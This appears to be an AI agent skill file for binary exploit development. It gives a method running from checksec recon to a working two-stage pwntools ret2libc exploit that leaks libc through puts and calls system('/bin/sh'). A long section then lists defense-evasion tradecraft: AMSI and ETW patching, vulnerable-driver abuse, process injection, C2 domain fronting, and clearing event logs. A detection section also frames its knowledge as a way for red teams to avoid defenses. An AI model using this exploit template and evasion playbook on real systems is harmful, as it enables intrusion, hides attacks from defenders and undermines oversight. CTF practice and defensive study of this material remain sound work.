Skill: Exploit Development
Supplementary Files:
payloads.md — Command and payload collection organized by 8 major phases (binary recon, crash analysis, EIP/RIP control, ROP chain construction, shellcode development, pwntools exploit packaging, format string exploitation, one_gadget shortcuts)
test-cases.md — Structured test case templates (6 cases covering checksec analysis, buffer overflow offset discovery, ROP chain construction, shellcode development, pwntools exploit delivery, format string exploitation — 4 categories)
Summary
Exploit Development skill domain covering exploitation operations.
Tools: gdb + pwndbg/gef/peda, pwntools, ROPgadget, ropper, checksec, pattern_create / pattern_offset, shellnoob, one_gadget (+1 more)
Domain: exploitation
MITRE ATT&CK: TA0002-Execution
Description
Exploit development covers the full chain from vulnerability discovery through crash analysis to working exploit code, spanning buffer overflows, ROP chains, format string bugs, and shellcode injection across x86 and ARM architectures. The core objective is to take a vulnerable binary, understand its memory layout and protections, and deliver a reliable exploit that achieves code execution.
This skill demands mastery of CPU calling conventions (x86 cdecl/System V AMD64, ARM AAPCS), stack frame layouts, GOT/PLT mechanics, and kernel-level protections (NX, ASLR, Canary, PIE, RELRO). The Agent uses GDB with pwndbg/gef/peda for dynamic analysis, pwntools for exploit scripting, ROPgadget/ropper for gadget discovery, and shellnoob for shellcode prototyping. From CTF pwn challenges to real-world vulnerability research, this skill provides the offensive engineering foundation.
Use Cases
- CTF Pwn Challenges — Analyze challenge binaries, identify vulnerability class, construct exploit for flag capture under time pressure
- Vulnerability Research (1-day/0-day) — Reverse engineer patched binaries to reconstruct the vulnerability, write proof-of-concept exploits for CVE reproduction
- Exploit Porting Across Architectures — Adapt x86 exploits to ARM64/MIPS targets, handle alignment differences and syscall conventions
- Security Product Validation — Test compiled firmware binaries, proprietary server daemons, and embedded device executables for memory corruption bugs
- Defensive Understanding — Understand exploitation techniques to design better mitigations, write secure compilation guides, and evaluate binary hardening effectiveness
Core Tools
| Tool | Purpose | Command Example |
|---|
| gdb + pwndbg/gef/peda | Dynamic debugging, register inspection, memory examination, pattern generation | gdb ./binary && cyclic 200 && cyclic -l 0x41366241 |
| pwntools | Python exploit framework: tubes, packing, ROP module, shellcraft, ELF parsing | python3 exploit.py (see payloads.md for templates) |
| ROPgadget | ROP gadget search, auto-chain generation, string/segment discovery | ROPgadget --binary binary --ropchain |
| ropper | Gadget search with regex support, chain builder, semantic filtering | ropper --file binary --search "pop rdi; ret" |
| checksec | Binary protection detection: NX, ASLR, Canary, PIE, RELRO, Fortify | checksec --file=binary |
| pattern_create / pattern_offset | Metasploit cyclic pattern generation for precise offset calculation | msf-pattern_create -l 500 / msf-pattern_offset -q 0x41366241 |
| shellnoob | Shellcode conversion, encoding, compilation across x86/ARM/MIPS | shellnoob -i --from-asm shell.s --to-hex |
| one_gadget | Find execve("/bin/sh") single-address constraints in libc | one_gadget /lib/x86_64-linux-gnu/libc.so.6 |
Methodology
Attack Chain
Recon (checksec, file) → Crash (pattern_create) → Control (EIP/RIP hijack)
→ Build (ROP/shellcode) → Deliver (pwntools packaging, test locally → remotely)
Phase Details:
-
Recon — Binary analysis with checksec, identify all protections (NX, ASLR, Canary, PIE, RELRO). Use file to confirm architecture (x86/x64/ARM). Use readelf and strings to map imports, exports, and interesting strings. Determine exploitation strategy from the protection matrix:
| NX | ASLR | Canary | Strategy |
|---|
| off | off | off | Direct shellcode on stack |
| on | off | off | ret2libc with fixed addresses |
| on | on | off | ROP chain + information leak via ret2plt |
| on | on | on | Leak canary + leak base + ROP |
-
Crash — Trigger crash with pattern_create / cyclic pattern. Feed the pattern to the binary via argument, stdin, or network. Identify the crash register value (EIP/RIP), then use pattern_offset / cyclic -l to compute the exact byte offset from the buffer start to the return address overwrite point.
-
Control — Confirm EIP/RIP control by sending offset * "A" + "BBBB" (or p64(0x4242424242424242) for 64-bit). Verify the crash register matches your target value. If the offset is wrong, re-examine the stack frame for alignment issues, saved RBP, or struct padding.
-
Build — Construct the exploitation payload:
- NX disabled: Write shellcode, place it in a writable-executable region, jump to it
- NX enabled, no ASLR: Build ret2libc chain (pop rdi + "/bin/sh" + system)
- NX + ASLR: Two-stage exploit — ret2plt to leak libc address, then ROP with resolved addresses
- Canary present: Leak canary via format string or brute force (fork-server model)
- Use
ROPgadget --ropchain for auto-generation, then refine manually with ropper for specific gadgets
-
Deliver — Package the exploit with pwntools. Test locally with process() first, then switch to remote(host, port) for the target. Handle edge cases: stack alignment (add ret gadget before system), bad characters (null bytes, newlines), and timing (recvuntil vs recvline).
Defense Perspective
| Protection | Function | Bypass Technique |
|---|
| NX (DEP) | Mark stack/heap as non-executable | ROP chains, ret2libc, ret2plt |
| ASLR | Randomize stack/heap/library addresses | Information leak (ret2plt), partial overwrite, ret2csu |
| Stack Canary | Detect stack buffer overflow before return | Format string leak, byte-by-byte brute force (fork), leaked from register |
| PIE | Randomize executable base address | Leak code pointer from GOT/stack, partial overwrite of low bytes |
| Full RELRO | Make GOT read-only at load time | Target __malloc_hook, __free_hook, __exit_funcs, vtable hijack |
| Seccomp | Restrict available syscalls | Use allowed syscalls (openat/sendfile/mmap), ORW (open-read-write) chain |
Practical Steps
For detailed commands and payloads see payloads.md, and for the complete test checklist see test-cases.md. Below is a summary of core operations for each phase.
1. Recon: Protection Assessment
# Full protection assessment
checksec --file=binary
# RelRO Stack Canary NX PIE RPath RunPath Symbols
# Full No Canary found NX enabled PIE enabled No No 75
# Verify system ASLR
cat /proc/sys/kernel/randomize_va_space
# 0=disabled 1=partial 2=full
# Architecture and format
file binary
# binary: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked
# Quick import scan
readelf -r binary | grep -E "strcpy|gets|sprintf|printf|read"
2. Crash: Offset Discovery
# Generate cyclic pattern
msf-pattern_create -l 500
# or in GDB with pwndbg: cyclic 500
# Feed to binary and observe crash
gdb ./binary
run $(python3 -c 'import sys; sys.stdout.write(open("pattern.txt").read())')
# Observe: RIP (or RSP) contains 0x62413762
# Calculate offset
msf-pattern_offset -q 0x62413762
# [*] Exact match at offset 72
# or: cyclic -l 0x62413762 (pwndbg)
3. Control: RIP Hijack Verification
from pwn import *
offset = 72
payload = b"A" * offset + p64(0xdeadbeefcafebabe)
# In GDB: confirm RIP == 0xdeadbeefcafebabe
4. Build: ROP Chain Construction
# Search gadgets
ROPgadget --binary binary --only "pop|ret" | grep "pop rdi"
# 0x00000000004011d3 : pop rdi ; ret
ROPgadget --binary binary --string "/bin/sh"
# (check if string exists in binary)
# If not in binary, use libc string
strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
5. Deliver: pwntools Exploit Template
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./binary')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./binary') # Switch to remote(host, port) later
# Stage 1: Leak libc address
pop_rdi = 0x4011d3 # pop rdi; ret
ret = 0x40101a # ret (alignment)
payload = b"A" * 72
payload += p64(pop_rdi) + p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main'])
p.sendline(payload)
p.recvline()
leak = u64(p.recv(6).ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts']
log.info(f"libc base: {hex(libc.address)}")
# Stage 2: ret2libc
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))
payload2 = b"A" * 72
payload2 += p64(ret) # Stack alignment
payload2 += p64(pop_rdi) + p64(binsh)
payload2 += p64(system)
p.sendline(payload2)
p.interactive()
Hacker Laws
| Law | Manifestation in Exploit Development |
|---|
| First Principles | Every exploit depends on understanding memory layout, calling conventions, and instruction semantics. Tool output is only as useful as your understanding of what it reveals — checksec means nothing without knowing how NX/ASLR interact with your exploitation strategy |
| Divergent Thinking First | When the obvious path fails (NX blocks shellcode), pivot to ROP. When ROP gadgets are scarce, consider ret2csu, SROP, ret2dlresolve, or one_gadget. When GOT is read-only (Full RELRO), target hooks, vtables, or .fini_array |
| Trust but Verify | checksec output can be misleading — a binary may report PIE but load at a fixed address if run with setarch -R. Always verify protections at runtime in GDB with vmmap or /proc/PID/maps |
| Skill Over Credentials | Exploit development is a craft built through practice. CTF ranking, bug bounty history, and reproducible CVE PoCs demonstrate real ability. There is no substitute for writing exploits from scratch across different architectures |
Common Pitfalls
A frequent mistake in 64-bit exploitation is forgetting stack alignment — system() on Ubuntu/glibc requires RSP to be 16-byte aligned at the call site. If the exploit crashes inside system() (not before), add a ret gadget before the pop rdi; ret sequence. Another common error is assuming libc version — always leak the remote libc hash or use libc.blukat.me to identify the exact version, as offsets vary between distributions and builds. Never trust local libc offsets for remote targets.
Automation and Scripting
pwntools automates the tedious parts of exploit development: packing (p32/p64), tube abstraction (seamless switch between process() and remote()), ROP chain building (rop.call('system', [binsh])), and shellcode generation (shellcraft.sh()). Combined with GDB attach (gdb.attach(p)), this creates a rapid development loop where you can build, test, and refine exploits interactively. For batch testing across multiple binaries, r2pipe + pwntools scripts can automate recon and initial exploit generation.
Detection Methods
Exploit development detection combines binary analysis (static signatures), runtime protection (DEP/ASLR/CFG), behavior monitoring (EDR/XDR), and threat intelligence correlation. Understanding detection patterns helps red team operators avoid triggering defenses.
Static Binary Analysis Detection
- Dangerous function imports:
strcpy, strcat, sprintf, gets, system, popen — flagged via checksec and binary scanners (e.g., Checkmarx, Veracode).
- Missing protections: Binaries lacking RELRO, Stack Canary, NX (DEP), PIE, Fortify; easily detected via
checksec --file=binary.
- Vulnerable patterns: Known-vulnerable code patterns (
strcpy(buf, argv[1])) detected via Semgrep / CodeQL rules.
- Format string vulnerabilities:
printf(user_input) instead of printf("%s", user_input); flagged by static analyzers.
- Integer overflow signatures:
malloc(size + N) where size is user-controlled; flagged by static analyzers.
Runtime Memory Protection
- DEP (Data Execution Prevention): NX bit prevents execution from stack/heap; detected when shellcode on stack causes segfault.
- ASLR (Address Space Layout Randomization): Randomizes base addresses; defeated via info leaks or brute force on 32-bit.
- Stack canaries: Random cookie before return address; detected when canary check fails (SIGABRT).
- RELRO (Relocation Read-Only): Partial RELRO protects
.init_array / .fini_array; Full RELRO protects GOT.
- PIE (Position Independent Executable): Binary base randomized; requires info leak for ROP.
- CFG (Control Flow Guard): Windows indirect call validation; defeats vtable / function pointer overwrites.
- CET (Control-flow Enforcement Technology): Intel IBT + Shadow Stack; modern CPUs.
Behavioral Detection (EDR/XDR)
- Process injection patterns:
CreateRemoteThread + VirtualAllocEx + WriteProcessMemory; well-known Mimikatz / Cobalt Strike signature.
- Reflective DLL loading:
LoadLibrary not called; DLL not on disk; detected via memory scan / ETW.
- Anomalous process ancestry:
cmd.exe spawned by lsass.exe or sqlservr.exe; indicates RCE exploitation.
- Memory-only execution: Process creates section + maps view + writes code; detected via
NtMapViewOfSection ETW events.
- Suspicious syscalls:
ptrace, process_vm_readv, keyctl abuse on Linux.
Shellcode Detection
- Signature-based: Known shellcode patterns (Metasploit, shell-storm); detected by AV / YARA rules.
- Entropy analysis: High-entropy memory regions indicate packed / encrypted shellcode.
- API call patterns:
LoadLibraryA + GetProcAddress chains for dynamic resolution.
- NoPS shellcode: Pure-syscall shellcode bypasses user-mode hooks; detected via kernel-mode monitoring (ETW Kernel Logger).
Network / Exploit Delivery Detection
- IDS signatures: Snort / Suricata rules for known exploits (MS17-010, Log4Shell, ProxyShell).
- WAF detection: Payloads matching SQLi/XSS signatures; rate-limited by WAF.
- Network anomalies: Unusual port connections; encrypted protocols on non-standard ports.
- Beacon detection: Periodic C2 connections with jitter; detected via statistical analysis (RITA, CyberChef).
SIEM Detection Rules
- Splunk SPL:
index=linux sourcetype=auditd type=EXECVE | search a0 IN ("/usr/bin/gdb", "/usr/bin/pwntools-python")
- Sysmon Event ID 8:
CreateRemoteThread detected; correlate with source process.
- Sysmon Event ID 10:
ProcessAccess on lsass.exe; credential theft indicator.
- Sigma rule:
sigma/rules/windows/process_injection.yml — generic injection patterns.
- Falco rule:
Spawning shell in container / Read sensitive file.
- YARA: Memory scanning for known shellcode signatures (
meterpreter_reverse_tcp).
Defense Evasion Techniques
Bypassing Memory Protections
- DEP bypass via ROP: Use Return-Oriented Programming to chain existing code gadgets; no shellcode execution on stack needed.
- ASLR bypass via info leak: Leak libc address via format string (
%p, %lx) or buffer overflow reading adjacent memory.
- Canary bypass: Leak canary via format string; brute-force canary on forked servers (canary preserved across fork).
- RELRO bypass: Partial RELRO still allows GOT overwrite; Full RELRO requires alternative write targets (
.fini_array).
- PIE bypass: Leak binary base via format string or buffer overflow reading adjacent pointer.
- CFG bypass: Use legitimate function pointers (e.g.,
__free_hook in libc <2.34); use SEH (Structured Exception Handler) abuse on Windows.
- CET bypass: Use legitimate indirect branches; abuse exceptions and signal handlers.
Shellcode Evasion
- Encoder: Use XOR / AES / RC4 encoder; Metasploit
shikata_ga_nai polymorphic XOR.
- NoPS shellcode: Pure syscall shellcode (
syscall instruction directly); bypasses user-mode hooks.
- Reflective loading: Load shellcode into memory without file artifacts; bypasses disk-based AV.
- Staged loading: Small stage-1 loader pulls stage-2 shellcode over network; evades signature scanning.
- In-memory module loading:
ManualMap technique loads DLL from memory; no LoadLibrary call.
- Donut shellcode: Convert .NET / PE / DLL to position-independent shellcode; evade AMSI / ETW.
Anti-Analysis Techniques
- Anti-debugging:
ptrace self-attach; timing checks (RDTSC); INT 3 detection; see binary-reverse skill for details.
- Anti-VM: Check MAC address (VMware
00:50:56); check CPUID hypervisor bit; check for VM-specific files.
- Anti-forensics:
timestomp (modify file timestamps); clear event logs selectively; use memfd_create for memory-only artifacts.
- Tool obfuscation: Modify open-source tools (Cobalt Strike / Metasploit) source code to evade signatures.
- Sleep obfuscation: Encrypt memory during sleep periods (Ekko, Foliage); evades memory scanners.
Process Injection Stealth
- Process hollowing: Replace legitimate process memory; appears as
explorer.exe.
- Reflective DLL injection: Load DLL from memory without
LoadLibrary; no file artifacts.
- APC injection: Use
QueueUserAPC on existing threads; no CreateRemoteThread call.
- Thread hijacking:
SuspendThread + GetThreadContext + SetThreadContext + ResumeThread; no new thread.
- Atom bombing: Use Global Atom Table for cross-process delivery.
- Process doppelgänging: Use Transactional NTFS to load process from rolled-back file; no on-disk artifact.
- EarlyBird injection:
QueueUserAPC before main thread starts; injected code runs before main.
Network C2 Evasion
- Domain fronting: Use CDN for C2; appears as legitimate CDN traffic.
- TLS fingerprint matching: Use
curl-impersonate or custom TLS stack to match Chrome / Firefox JA3 hash.
- Protocol camouflage: C2 over DNS, ICMP, HTTPS (mimicking legitimate API calls).
- Malleable C2: Cobalt Strike malleable profiles to mimic legitimate traffic patterns.
- Beacon jitter: Random intervals between C2 check-ins to evade statistical detection.
- Long-haul beaconing: 24-hour intervals for high-value targets; harder to correlate.
Bypassing Modern Defenses
- AMSI bypass: Patch
amsi.dll in-memory; use AmsiScanBuffer return code spoofing.
- ETW bypass: Patch
ntdll!EtwEventWrite in-memory; use direct syscalls.
- EDR splitting: Split payload across processes; each does partial work; no single process triggers detection.
- Kernel-mode callbacks: Use vulnerable signed drivers (
RTCore64.sys, gdrv.sys) for kernel read/write; BYOVD (Bring Your Own Vulnerable Driver).
- Direct syscalls: Bypass user-mode hooks via
syscall instruction directly (NoPS / SysWhispers).
- Hardware breakpoints: Use DR0-DR3 for stealth hooks; not visible in process memory.
Learning Resources
Supplementary files for this skill:
payloads.md — Complete command and payload collection (8 major phases, ready to copy and use)
test-cases.md — Structured test cases (6 case templates with preconditions and expected results)
Extended learning materials (guides/):
guides/buffer-overflow-to-rop-chain-guide.md — End-to-end guide from buffer overflow identification through ROP chain construction with NX/ASLR bypass
guides/pwntools-exploit-development-guide.md — pwntools complete reference: tubes, packing, ROP module, shellcraft, ELF analysis, remote exploits
guides/shellcode-writing-encoding-guide.md — Shellcode writing for x86/ARM, null byte avoidance, shellnoob conversion, encoder techniques
Related skills:
skills/binary-reverse/SKILL.md — Binary reverse engineering (static/dynamic analysis prerequisite for exploit development)
skills/network-pentest/SKILL.md — Network penetration testing (remote exploit delivery context)
External resources:
- pwn.college — ASU open-source binary exploitation lab with progressive modules
- Nightmare — Step-by-step CTF binary exploitation tutorial (stack to kernel)
- pwntools Documentation — Official API reference and examples
- ROP Emporium — Deliberately vulnerable challenges for ROP technique practice
- CTF Wiki - Pwn — Comprehensive pwn knowledge base